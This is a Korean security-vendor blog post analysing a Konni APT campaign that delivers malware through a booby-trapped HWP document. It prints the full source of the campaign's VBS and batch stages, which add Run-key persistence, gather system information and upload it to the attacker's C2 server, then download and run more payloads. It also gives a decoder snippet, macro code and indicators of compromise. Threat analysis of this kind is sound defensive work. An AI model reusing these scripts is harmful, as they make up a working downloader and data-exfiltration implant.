안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다.
일명 '코니(Konni)' 조직으로 명명된 APT 공격그룹이 최근 HWP 한글문서 취약점을 적극적으로 활용하기 시작했습니다.
정부 후원을 받는 것으로 추정되는 '코니(Konni)' 그룹은 '김수키(Kimsuky)' 조직과의 연관성이 높으며, 최근 암호화폐 거래관련 미끼 파일을 이용하고 있습니다.
ESRC에서 두 조직간의 연결고리가 이어지고 있다는 점에 주목하고 있으며, 이번 APT 작전을 '오퍼레이션 코인 플랜(Operation Coin Plan)'으로 명명하고 지속적인 분석을 진행 중입니다.
■ 코니(Konni) 조직, HWP 취약점 활용
새롭게 발견된 악성 문서파일은 2019년 10월 01일 제작되었고, '마켓팅플랜.hwp' 이름으로 발견되었습니다.
악성문서가 실행되면 다음과 같은 화면이 보여지고, 암호화폐 채굴(마이닝) 관련 내용을 담고 있습니다.
[그림 1] 문서 파일이 실행된 화면
파일명 |
작성자 |
최종 수정자 | 최종 수정일 | MD5 |
마켓팅플랜.hwp |
(주)한글과컴퓨터 |
Administrator | 2019-10-01 01:20:48 (UTC) | 70b84f854b86d2ee6349ed348ef824ac |
악성 HWP 문서파일 내부에는 'BIN0001.PS' 포스트 스크립트를 포함하고 있습니다.
포스트 스크립트 내부에는 악성 스크립트 명령과 쉘코드가 숨겨져 있고, 고스트 스크립트 모듈의 취약점이 작동할 경우 공격자가 지정한 명령제어(C2) 서버와 통신을 수행하게 됩니다.
[그림 1-2] 포스트 스크립트가 포함되어 있는 악성 HWP 문서 구조
■ 악성 HWP 문서 파일 내부 분석
1차 포스트 스크립트는 16바이트 XOR 키를 통해 디코딩 과정을 진행합니다.
0 1 Y135 length 1 sub %akaisowueyvb {/Y20 exch 1 2 and pop def %akaisowueyvb Y135 dup Y20 get <296BD6EB2CA90321BBEF5F5F4CFC10EC> Y20 15 and /Y104 8 def get xor Y20 exch put} for Y135 cvx exec |
[그림 2] 1차 포스트 스크립트 디코딩 코드 부분
첫 번째 포스트 스크립트가 디코딩 과정을 수행하면, 2차 포스트 스크립트 코드와 쉘코드 명령이 나타납니다.
[그림 3] 2차 포스트 스크립트와 쉘코드 영역 화면
쉘코드가 실행되면 다음과 같이 C2 주소로 통신을 진행하고, 'vbs.txt' 파일을 로딩하게 됩니다.
- pelham-holles[.]com/order/vbs.txt (185.38.151[.]11)
- pelham-holles[.]com/order/no1.txt
- brighton1578@rambler[.]ru
[그림 4] 쉘코드에서 C2 주소를 확인하는 모습
'vbs.txt' 파일은 다음과 같이 Base64 코드로 작성된 인코딩 데이터를 가지고 있습니다.
[그림 5] 'vbs.txt' Base64 코드 화면
Base64 코드가 디코딩되면, Cab 압축포맷의 또 다른 파일이 만들어지는데, 이 파일은 'no1.txt' 배치 파일 명령에 의해서 'setup.cab' 파일명으로 생성되고 압축이 해제되어 내부에 포함된 추가 파일의 명령을 수행하게 됩니다.
[그림 6] 'no1.txt' 배치파일 명령 화면
'setup.cab' 압축 파일 내부에는 총 5개의 파일이 포함되어 있습니다.
- download.vbs
- no2.bat
- no4.bat
- starttemp.vbs
- upload.vbs
[그림 7] 'setup.cab' 압축 파일 내부 화면
각각의 파일은 다음과 같은 명령을 포함하고 있으며, 감염된 컴퓨터의 각종 시스템 정보를 수집해서 C2 서버로 전송하게 됩니다.
- http://pelham-holles[.]com/result/upload.php
[downloacd.vbs]
strSrcFile = WScript.arguments.item(0)
strDestFile = WScript.arguments.item(1)
dim xHttp: Set xHttp = createobject("MSXML2.ServerXMLHTTP")
xHttp.setTimeouts 0, 60000, 300000, 300000
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", strSrcFile, False
xHttp.Send
If xHttp.Status = 200 Then
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile strDestFile , 2 '//overwrite
.close
end with
End If
Set bStrm = nothing
Set xHttp = nothing
WScript.Quit
[ starttemp.vbs]
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "C:\Users\Public\Documents\no1.bat" & Chr(34), 0
Set WshShell = Nothing
[upload.vbs]
strURL = WScript.arguments.item(0)
strSrcFile = WScript.arguments.item(1)
strDstFile = WScript.arguments.item(2)
Dim FileData
Set objFileToRead = CreateObject("Scripting.FileSystemObject").OpenTextFile(strSrcFile, 1)
FileData = objFileToRead.ReadAll()
objFileToRead.Close
Set objFileToRead = Nothing
Dim PostData
Dim strStatus, strResponse
PostData = "FileName=" & strDstFile & "&FileData=" & FileData
Dim xHttp: Set xHttp = createobject("MSXML2.ServerXMLHTTP")
With xHttp
.SetTimeouts 0, 60000, 300000, 300000
.Open "POST", strURL, False
.SetRequestHeader "Content-type", "application/x-www-form-urlencoded" & strBoundary
.SetRequestHeader "Content-Length", Len(PostData)
.Send PostData
strStatus = .StatusText & " (" & .Status & ")"
If .Status = "200" Then
strResponse = .ResponseText
Else
strResponse = "Upload Error"
End If
End With
Set xHttp = nothing
WScript.Quit
[no2.bat]
@echo off
cd C:\Users\Public\Documents\
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "C:\Users\Public\Documents\no2.bat" /f > nul
call no4.bat > nul
del /f /q no1.bat > nul
if not exist "pakistan.txt" (goto 1)
if exist "pakistan.txt" (goto EXIT)
:1
if exist "temprun.bat" (
del /f /q temprun.bat
)
download.vbs http://pelham-holles[.]com/order/%COMPUTERNAME%.txt C:\Users\Public\Documents\%COMPUTERNAME%.txt > nul
ct -decode -f %COMPUTERNAME%.txt setup.cab > nul
expand setup.cab -F:* %~dp0 > nul
del /f /q setup.cab > nul
del /f /q %COMPUTERNAME%.txt > nul
call temprun.bat > nul
timeout -t 57 /nobreak
if not exist "pakistan.txt" (goto 1)
if exist "pakistan.txt" (goto EXIT)
:EXIT
del /f /q %~dpnx0 > nul
[no4.bat]
@echo off
dir C:\Users\ /s > %~dp0\cuser.txt
dir "C:\Program Files\" /s > %~dp0\cprogram.txt
tasklist > %~dp0\tsklt.txt
systeminfo > %~dp0\systeminfo.txt
makecab %~dp0\tsklt.txt %~dp0\tsklt1.txt
timeout -t 5 /nobreak
upload.vbs "http://pelham-holles[.]com/result/upload.php" cuser.txt %COMPUTERNAME%_cuser.txt >nul
upload.vbs "http://pelham-holles[.]com/result/upload.php" systeminfo.txt %COMPUTERNAME%_systeminfo.txt >nul
upload.vbs "http://pelham-holles[.]com/result/upload.php" tsklt1.txt %COMPUTERNAME%_tsklt1.txt >nul
upload.vbs "http://pelham-holles[.]com/result/upload.php" cprogram.txt %COMPUTERNAME%_cprogram.txt >nul
del /f /q %~dp0\cuser.txt > nul
del /f /q %~dp0\cprogram.txt > nul
del /f /q %~dp0\tsklt.txt > nul
del /f /q %~dp0\systeminfo.txt > nul
del /f /q %~dp0\tsklt1.txt > nul
del /f /q %~dpnx0 > nul
특히, 배치파일 명령에 'pakistan.txt' 파키스탄 파일명을 사용하는 특징이 있습니다.
■ 유사 변종 사례
지난 07월 발견된 '0711_8.doc' 파일의 경우는 MS Word DOC 문서파일의 매크로 기능을 사용한 공격입니다.
[그림 8] MS Word DOC 파일을 사용한 사례
매크로 코드를 통해 다음과 같은 C2 주소로 통신을 수행하게 됩니다.
- http://www.karachi-tan[.]com/tan/order/download.txt
- http://www.karachi-tan[.]com/tan/order/starttemp.txt
- http://www.karachi-tan[.]com/tan/order/no1.txt
- http://www.downloader-hanmail[.]net/attach_down/0711-8.doc
- 생략 -
Call UnknownFunc2(0, strVal1, strVal2, 0, 0)
Call UnknownFunc2(0, "http://www.downloader-hanmail[.]net/attach_down/0711-8.doc", "C:\Users\Public\Documents\0711-8.doc", 0, 0)
Dim OpenDoc: Set OpenDoc = CreateObject("Word.Application")
OpenDoc.Visible = True
Dim WorkDone: Set WorkDone = OpenDoc.Documents.Open("C:\Users\Public\Documents\0711-8.doc")
On Error GoTo errorHandler
Dim AppWord: Set AppWord = GetObject(, "Word.Application")
AppWord.Quit False
ActiveDocument.Close
errorHandler:
If Err = 4198 Then MsgBox "Document was not closed"
End Sub
'no1.txt' 파일의 명령에 의해 'no2.txt' 파일을 다운로드하고, 순차적으로 'no3.txt', 'no4.txt', 'no5.txt' 파일 등이 작동하게 됩니다.
이때에도 이번과 동일하게 'pakistan.txt' 파일명이 사용됩니다.
[그림 9] DOC / HWP 형태로 유포된 배치파일 명령 비교
이외에도 09월 경에 유포된 다수의 HWP 변종이 유사한 배치파일 명령을 그대로 사용하고 있습니다.
■ 결론
ESRC에서는 '코니(Konni)' APT 조직이 한국의 암호화폐, 대북 분야 관계자를 겨냥한 지속적인 표적공격이 증가하여 보안 모니터링을 강화하고 있습니다.
특히, 이들 조직이 PC용 컴퓨터 기반의 위협뿐만 아니라, Android 스마트폰 단말을 대상으로 한 모바일 위협에도 가담하고 있다는 점에 우려하고 있습니다.
이스트시큐리티는 이번 '코니(Konni)' 관련 악성파일에 대해 알약 제품군에 긴급 업데이트를 반영하였습니다.
또한, 추가적인 침해지표(IoC) 내용은 '쓰렛 인사이드(Threat Inside)' 서비스를 통해 제공할 예정입니다.
▶ 코니(Konni) APT 그룹, 러시아-북한-한국 무역, 경제관계 투자문서로 공격 수행 (2019. 09. 27)
▶ 코니(Konni) APT 조직, 모바일 스파이 활동을 통한 스마트 위협 증가 (2019. 08. 24)
▶ 코니(Konni) APT 조직, 러시아 문서로 위장한 공격 등장 (2019. 08. 19)
▶ [스페셜 리포트] APT 캠페인 'Konni' & 'Kimsuky' 조직의 공통점 발견 (2019. 06. 10)
▶ 한국어 구사 Konni 조직, 블루 스카이 작전 'Amadey' 러시아 봇넷 활용 (2019. 05. 16)
▶ 암호화폐 내용의 Konni APT 캠페인과 '오퍼레이션 헌터 아도니스' (2019. 01. 02)
▶ 새로운 KONNI 캠페인 등장, '작전명 해피 바이러스' (2018. 10. 18)
김수키(Kimsuky) 조직 소행 추정 ‘대북 분야 국책연구기관’ 사칭 스피어피싱 공격 발견 (0) | 2019.10.17 |
---|---|
비너스락커, 공정거래위원회 사칭하여 Nemty 랜섬웨어 V1.6 유포 주의! (0) | 2019.10.10 |
악성 이메일을 통해 계속적으로 유포되고 있는 이모텟(Emotet) 악성코드 주의! (0) | 2019.10.01 |
비너스락커, 입사 지원서 위장하여 Nemty 랜섬웨어 V1.5 유포! (0) | 2019.09.30 |
북한 파일명으로 보고된 Kimsuky 조직의 '스모크 스크린' PART 3 (0) | 2019.09.27 |
댓글 영역